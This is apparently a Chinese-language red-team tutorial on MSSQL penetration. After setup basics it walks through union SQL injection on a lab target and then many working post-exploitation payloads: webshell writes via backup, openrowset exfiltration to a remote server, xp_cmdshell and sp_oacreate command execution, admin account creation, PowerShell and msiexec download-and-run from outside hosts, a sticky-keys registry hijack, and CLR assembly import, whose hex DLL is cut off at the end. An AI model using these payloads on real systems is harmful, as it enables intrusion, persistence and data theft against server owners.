MSSQL 是最流行的关系型数据库,与此同时也是微软自家开发的数据库管理应用软件。我们在渗透过程中碰到的 ASPX 站点大部分都会搭配 MSSQL 数据库,因此它也是红队攻防中最常遇到的数据库之一。
0x01 MSSQL简介
MSSQL 也叫 SQL Server,是由微软开发和推广的关系型数据库管理系统。所谓关系型数据库,其实就是建立在关系模型上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据,这在介绍 MySQL 时我们已经了有了初步认识,而 MSSQL 作为关系型数据库有何优势呢?其最大的优势就是在于集成了微软的各类产品以及资源,提供了强大的可视化界面、高度集成的管理开发工具。因此对于缺少IT人才、不缺钱的中小企业来说,MSSQL 是一个非常不错的选择。常见领域包括餐饮、事业单位、ERP系统等。
0x02 MSSQL安装与连接
MSSQL安装配置
访问微软官网即可下载数据库(SQLEXPR)和数据库管理软件(SQLEXPRADV)
下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
选择对应版本的 SQLEXPR 和 SQLEXPRADV
安装SQLEXPR
选择全新安装
选择默认实例
在服务器配置将账户名修改为system
,默认为network service
选择混合模式,设置密码为hacker1961
一直下一步就行,完成安装
安装SQLEXPRADV
选择全新安装
一直下一步
安装完成
MSSQL连接
Windows下连接
如果是本地连接,可选择 windows 身份验证直接使用本地用户进行登录
成功登录数据库
如果需要远程连接,可打开 SQL Server 配置管理器
在 SQL Server 网络配置中找到 MSSQLSERVER 协议,将 TCP/IP 修改为已启用
在数据库中右键选择属性,在连接中选择“允许远程连接到此服务器”
在属性中看到端口开放情况为1433,如果防火墙已开启,则需配置出入站规则开放1433端口
最后重启 SQL Server 服务完成设置
选择服务器名称输入账号密码后连接数据库
Linux下连接
Linux 中连接 MSSQL 多使用 mssqlclient、sqsh、Navicat 等管理工具,以最常用的 Navicat 连接为例
0x03 MSSQL基本用法
基础操作
通过以下两类注释符可完成注释
-- mac
/* mac */
查询当前数据库的基本信息
select db_name() ##查看当前数据库
select @@version ##查看当前数据库版本
select user_name() ##查看当前用户名
select host_name() ##查看计算机名
大部分 MSSQL 数据库的增删改查与 MySQL 类似,但仍存在一些差别,比如 MySQL 以;
结束一条SQL语句,MSSQL 可以以;
或go
来结束,但是一般情况下都以go
结束,因为 MSSQL 如果执行多条语句时需要等上一条语句结束后才能写入下一条语句,不然会报错。下面是一些 MSSQL 与 MySQL 存在差异的语句
select name, database_id, create_date from sys.databases; ##查询系统内所有数据库
select * from sysobjects where xtype='U'; ##查询数据库内所有表
sp_help/sp_columns test; ##查看数据表结构
select top 10 * from users; ##查看前十条记录
select * from Info.dbo.users where username='admin'; ##查询数据库表具体信息
select * from Info..users where username='admin'; ##与上一条语句同义
通过模糊查询查询数据表信息
select table_name,tablespace_name,status,temporary from user_tables where table_name like '%tab_name%';
0x04 MSSQL渗透
SQL注入获取信息
MSSQL默认库
在 MSSQL 中存在四个默认数据库,master 数据库记录了所有数据库系统的系统级信息,比如用户账户、配置设置,同时还存有所有其他数据库信息,相当于 MySQL 中的 information_schema。model 数据库是模板数据库,每当创建一个新的数据库,就会创建一个 model 数据库未为副本数据库。msdb 数据库是 MSSQL 中的代理的数据库,主要用于配置警报、使用代理和预定作业等。tempdb 数据库则主要用于暂时存储数据,其中包含所有临时表和临时存储过程。
利用过程
MSSQL的联合查询与MySQL有所不同,一般通过 null 来填充,首先查询当前库名
select * from users where id=-1 union select null,db_name(),null;
利用拿到的数据库名获取当前库中的第一个表名
select * from users where id=-1 union select top 1 null,name,null from admin_1.sys.sysobjects where xtype='U';
排除第一个表名来获取第二个表名,以此类推
select * from users where id=-1 union select top 1 null,name,null from admin_1.sys.sysobjects where xtype='U' and name != 'users';
获取表中第一个字段
select * from users where id=-1 union select name from admin_1.sys.syscolumns where ID=OBJECT_ID('admin_1.dbo.users');
排除第一个字段来获取第二个字段,以此类推
select * from users where id=-1 union select top 1 null,name,null from admin_1.sys.syscolumns where ID=OBJECT_ID('admin_1.dbo.users') and name != 'id';
场景以墨者为例,靶场漏洞地址如下:
http://219.153.49.228:42917/new_list.asp?id=2
通过单引号判断注入,返回不同界面说明存在注入点
/new_list.asp?id=2'
通过 order by 报错情况判断当前字段数为4
/new_list.asp?id=2 order by 4 //返回正常界面
/new_list.asp?id=2 order by 5 //返回报错界面
通过 union all select 查看回显位置,由于不知道数据类型,使用 null 来代替
new_list.asp?id=-2 union all select null,null,null,null --
使用字符串一次替换 null,确定第二、三位置存在回显
new_list.asp?id=-2 union all select null,'null','null',null --
获取数据库基础信息
new_list.asp?id=-2 union all select null,(select @@version),(select user),null --
new_list.asp?id=-2 union all select null,null,(select db_name()),null --
使用数字填充库名函数可以以此列举各个库名,比如:db_name(1)
查询表名,通过排除法以此类推直至拿到全部表名,分别为manage
、announcement
new_list.asp?id=-2 union all select null,null,(select top 1 name from mozhe_db_v2.sys.sysobjects where xtype='U'),null --
new_list.asp?id=-2 union all select null,null,(select top 1 name from mozhe_db_v2.sys.sysobjects where xtype='U' and name <> "manage"),null --
查询列名,通过排除法以此类推直至拿到全部列名,分别为id
、username
、password
new_list.asp?id=-2 union all select null,null,(select top 1 name from mozhe_db_v2.sys.syscolumns where ID=OBJECT_ID('mozhe_db_v2.dbo.manage')),null --
new_list.asp?id=-2 union all select null,null,(select top 1 name from mozhe_db_v2.sys.syscolumns where ID=OBJECT_ID('mozhe_db_v2.dbo.manage') and name <> 'id'),null --
new_list.asp?id=-2 union all select null,null,(select top 1 name from mozhe_db_v2.sys.syscolumns where ID=OBJECT_ID('mozhe_db_v2.dbo.manage') and name not in ('id','username')),null --
查询关键信息,成功拿到账号密码admin_mz/72e1bfc3f01b7583
new_list.asp?id=-2 union all select top 1 null,username,password,null from mozhe_db_v2.dbo.manage --
成功解密密文为97285101
使用admin_mz/97285101
登录后台
差异备份写入shell
利用条件
MSSQL 日志备份主要分为差异备份和日志备份。但差异备份不太稳定,同时因为权限的问题,最好不要备份到盘符根目录,如果这种方式失败,大概率是备份的目录没有写权限. 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。其利用条件如下:
用户权限足够大(DBA)
目标目录可写
知道网站绝对路径
完整备份一次数据库(其中位置可修改)
backup database 库名 to disk = 'c:\ddd.bak';--
创建并插入数据
create table [dbo].[dtest] ([cmd] [image]);--
insert into dtest(cmd) values(0x3c78656375746528726571756573742822636d64222929);--
需要将字符串转16进制
<%execute(request("cmd"))%>
进行差异备份
backup database 库名 to disk='c:\目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
利用过程
通过SQL注入进行差异备份,首先完整备份一次数据库
?id=1;backup database mydb to disk = 'C:\inetpub\wwwroot\www.demo1.com\mac2.bak';--
创建表并插入数据,内容为一句话木马
?id=1;create table [dbo].[dtest] ([cmd] [image]);--
?id=1;insert into dtest(cmd) values(0x3c256578656375746528726571756573742822636d64222929253e);--
由于目前数据库已和之前备份的数据库存在差异,因此只要备份就能讲木马内容写入备份数据库mac2.asp
中
?id=1;backup database mydb to disk='C:\inetpub\wwwroot\www.demo1.com\mac2.asp' WITH DIFFERENTIAL,FORMAT;--
访问木马地址,发现木马已存在
在服务器中查看木马文件
通过菜刀进行连接成功,密码为cmd
日志备份写入shell
利用条件
日志备份重复性好、多次备份的成功率高,相对于差异备份而言,shell的体积较小。因此一般采用日志备份,其利用条件如下:
用户权限足够大(DBA)
数据库已完整备份过一次
目标目录可写
知道网站绝对路径
日志备份可直接执行以下SQL语句
if exists(select table_name from inforamtion_schema.tables where table_name='test_tmp')drop table test_tmp;alter mydb set RECOVERY FULL;drop table test_tmp;create table test_tmp(a image);backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp(a) values (0x3c256578656375746528726571756573742822636d64222929253e);backup log mydb to disk = 'C:/intepub/wwwroot/www.demo1.com/123.asp'
将执行步骤进行拆解
drop table test_tmp; //删除test_tmp表
create table test_tmp(a image); //重新创建一个test_tmp表
backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;
//备份日志至对应网站目录中的asp.bak
insert into test_tmp(a) values (0x3c256578656375746528726571756573742822636d64222929253e);
//向目标表内写入一句话木马
backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/123.asp';
//备份日志至对应网站目录 123.asp
drop table test_tmp; //删除备份表
利用过程
通过SQL注入完成日志备份获取shell
?id=1;if exists(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;create table test_tmp (a image);backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/mac.bak' with init;insert into test_tmp (a) values (0x3c256578656375746528726571756573742822636d64222929253e);backup log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/mac.asp'
访问木马,发现木马已存在
在服务器中查看木马文件
通过菜刀进行连接成功,密码为cmd
openrowset转发利用
函数介绍
openrowset 函数包含访问OLE DB数据源中的远程数据所需的连接信息,当盲注时遇到页面不返回信息时,可以使用 MSSQL 中的 openrowset 函数将当前数据转发到远程的 MSSQL 服务器上,前提就是需要准备一台带有 MSSQL 的远程服务器。Ad Hoc Distributed Queries是 MSSQL 限制访问 OpenRowset/OpenDatasource 的一种服务器安全配置,可通过以下命令可以控制其开关:
启用 Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1 reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure;
关闭 Ad Hoc Distributed Queries
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure;
exec sp_configure 'show advanced options',0 reconfigure;
利用过程
开启Ad Hoc Distributed Queries
扩展
?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
在本地建立临时表
create table ##version (VERSION varchar(500)) --两个#号代表临时表
查询表名并将数据转发到远程 SQL Server
?id=1;insert into openrowset('sqloledb','server=192.168.159.129;uid=sa;pwd=Hacker1961','select * from %23%23version') select db_name();
在本地数据库查询远程 SQL Server 上的表
select * from ##version;
在两边创建临时表,本地数据库执行语句如下:
create table ##nonamed(dir ntext,num int)
注入点执行语句如下:
?id=1;create table %23%23nonamed(dir ntext,num int)
在本地数据库中查询路径
insert ##nonamed execute master..xp_dirtree 'c:/',1
通过注入向nonamed
表插入c盘下的数据
?id=1;insert into %23%23nonamed execute master..xp_dirtree 'c:/',1
把数据转发到远程的 SQL Server 数据库中
?id=1;insert into openrowset('sqloledb','server=192.168.159.129;uid=sa;pwd=Hacker1961','select * from %23%23nonamed') select * from %23%23nonamed
在本地数据库上执行命令进行查询可以获取信息
select * from ##nonamed
xp_cmdshell提权
组件简介
xp_cmdshell 是 MSSQL 中的一个组件,主要用于执行系统命令,在拿到 sa 权限后可以通过xp_cmdshell 来进行提权,需要注意的是 xp_cmdshell 在 MSSQL 2000 中默认开启,MSSQL 2005 以后的版本默认关闭,因此在高版本下需要重新启用该组件,而在 MSSQL 2019 版本中默认用户为mssqlserver
,非system
或network service
利用过程
查看xp_cmdshell状态
管理工具来查看 xp_cmdshell 状态,点击实例名后选择方面
在其中看到 xp_cmdshell 是关闭状态
同样我们也能够通过SQL语句进行查询,结果返回1说明已经启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
开启xp_cmdshell组件
尝试直接开启 xp_cmdshell,报错提示 xp_cmdshell 不存在或可能是高级选项,而 MSSQL 默认存在该组件,那么只能是高级选项的问题
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
通过SQL语句允许编辑高级选项,再次启用 xp_cmdshell,成功启用
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
关闭xp_cmdshell组件
关闭 xp_cmdshell 与开启相反,将1改为0,与此同时关闭高级选项
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO
EXEC sp_configure 'show advanced options', 0
GO
RECONFIGURE
GO
通过 xp_cmdshell 执行系统命令查询当前服务运行权限,如果是网络服务权限需要上线CS进一步提权
master..xp_cmdshell 'whoami'
EXEC master.dbo.xp_cmdshell 'cmd /c whoami'
如果是系统权限就能够创建管理员用户来上线CS
exec master..xp_cmdshell "net user mac QWEasd123 /add";
exec master..xp_cmdshell "net localgroup administrators mac /add";
exec master..xp_cmdshell "net user mac";
调用 cmd.exe 使用 powershell 远程下载exe并执行
exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
如果想要写入shell,可执行如下命令:
exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> >>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp'
如果遇到无回显的情况,可以通过 dnslog 进行回显
exec master ..xp_cmdshell "ping xx.dnslog.cn"
如果不出网,可通过临时表查看命令执行的结果
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'
select * from tmpTable
如果遇到 xp_cmdshell 存储过程被删除的情况
exec sp_dropextendedproc 'xp_cmdshell'
需要重新恢复或自己上传xplog70.dll
进行恢复,以 MSSQL 2012 为例,其默认路径为
C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll
恢复命令如下:
-- 判断存储扩展是否存在,返回结果为1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
sp_oacreate提权
组件简介
如果 xp_cmdshell 扩展存储过程无法使用,可以使用 sp_oacreate 和 sp_oamethod 调用系统wscript.shell 来执行系统命令。而 sp_oacreate 是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合 sp_oamethod 来写文件执行 cmd 系统命令。sp_oacreate 和 sp_oamethod 两个过程分别用来创建和执行脚本语言,换言之就是与 xp_cmdshell 类似,因此可以替换使用。
利用过程
查看 sp_oacreate 状态,返回1说明存在 sp_oacreate 存储过程
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
如果未开启,则需要同时启动 Ole Automation Procedures 和高级选项,当启用 Ole Automation Procedures 时,会对 sp_oacreate 进行调用并启动OLE共享执行环境
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
关闭 sp_oacreate 与开启相反
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'ole automation procedures',0;
reconfigure with override;
exec sp_configure 'show advanced options',0;
reconfigure with override;
通过 sp_oacreate、sp_oamethod 调用 wscript.shell 执行命令写入文件,如果出现报错信息Could not find stored procedure 'sp_oacreate'.
,说明当前权限为network service
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token
如果无回显,可以利用 dnslog 进行查看(存在注入代码)
model=admin' or'1' like'1';declare @o int;exec sp_oacreate 'wscript.shell', @o out;execute sp_oamethod @o,'run',null,'mshta http://xxx.ceye.io';--%26123456
通过 msiexec 执行 msi 上线(存在注入代码)
model=admin' or'1' like'1';declare @o int;exec sp_oacreate 'wscript.shell', @o out;execute sp_oamethod @o,'run',null,'msiexec /q /i http://1.117.58.131:88/mac.msi';--%26123456
利用存储过程写入一句话
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo i=out
exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'
在启动项中写入添加账户脚本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os& "/123$"';
利用COM组件命令执行,其中cmd.exe
可以自行上传,比如:C:\\phpstudy\\www\\test.com\\cmd.exe
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan, 'exec', @exec output, 'C:\\Windows\\System32\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out select @str;
写入文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
四种文件写入方法
1、存储过程写文件一
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
2、存储过程写文件二
declare @s nvarchar(4000);
select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;
exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--
3、log备份
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\2.asp'
4、差异备份
backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
5、创建用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user estelle 123456 /add'
-- 步骤分解
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user estelle 123456 /add'
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators estelle /add'
沙盒提权
沙盒模式
沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的,当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。其原理就是利用 jet.oledb 修改注册表来执行系统命令,数据库通过查询方式调用 mdb 文件执行参数,绕过系统本身的执行命令,实现 mdb 文件执行命令。其利用条件如下:
拥有DBA权限
服务器拥有jet.oledb.4.0驱动
Microsoft.Jet.OLEDB.4.0 一般在32位系统可行,64位系统则需要 Microsoft.ACE.OLEDB.12.0
利用过程
测试 jet.oledb.4.0 是否可用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
开启 Ad Hoc Distributed Queries 组件
exec sp_configure 'show advanced options',1 ;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
修复沙盒的维护模式
关闭沙盒模式查看 SandBoxMode 是否已经为0,其默认情况下参数为2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode';
-- SandBoxMode数字含义:
0:在任何所有者中禁止启用安全模式
1:为仅允许的范围内
2:必须在access模式下
3:完全开启
操作系统差异
Microsoft.Jet.OLEDB.4.0
Microsoft.ACE.OLEDB.12.0
Windows Server 2003 + SQL Server 2000 沙盒模式执行命令
windows 2003系统下c:\windows\system32\ias\目录下默认自带 ias.mdb 和 dnary.mdb,只需要直接调用
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');
Windows Server 2008 R2 + SQL Server 2005 沙盒模式执行命令
Windows 2008 R2系统默认无Access数据库文件,需要自己上传或者用UNC路径家在文件方能执行命令,
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
SQL Server 2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令
命令执行
创建账户
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq QWEasd123 /add")');
如果报错c:\windows\system32\ias\ias.mdb
,解决方法如下:
1、到windows 2003准备dnary.mdb、ias.mdb
2、执行命令创建用户
参考文档:https://documentation.help/InfoSec-cn/69cc2e9c-95e8-4c82-a787-440190c28fbc.htm
添加管理员组
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators testq /add")');
参考文档:http://blog.chinaunix.net/uid-28966230-id-4291781.html
查看查询情况
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\\2.txt ")');
调用dnary.mdb
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\\3.txt ")')
恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
JOB提权
利用原理
原理是创建一个任务 x 并执行命令,命令执行后的结果将返回给文档q.txt
利用过程
启动 sqlagent 服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
利用执行命令创建任务(无回显,可以 dnslog)
-- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c " net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
执行成功,存在报错是同时执行多条语句导致,最终成功添加了指定的账户
镜像劫持提权
利用原理
使用 xp_regwrite 存储过程可对注册表进行修改,将其替换成任意值造成镜像劫持。
利用过程
查看 xp_regwrite 是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
开启 xp_regwrite 组件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
利用 xp_regwrite 函数修改注册表劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
查看是否可以劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
通过远程桌面连接桌面,连续按五次shift可以调用cmd窗口,需要注意的是 windows server 2019 无法执行,同时微软会查杀
CLR提权
利用原理
CLR 方式可以利用 16 进制文件流方式导入 DLL 文件,不需要文件落地,利用条件如下:
MDUT 中的16进制的dll,其中dll的制作可以参考文章:https://xz.aliyun.com/t/10955#toc-12
拥有DBA权限
利用过程
启用CLR在 SQL Server 2017 前后有很大区别,在 2017 版本以后引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限
SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的
SQL Server 2017版本及之后
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中
配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库
EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON
导入CLR插件
CREATE ASSEMBLY [mssql_CLR]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A000000000004000000000000000000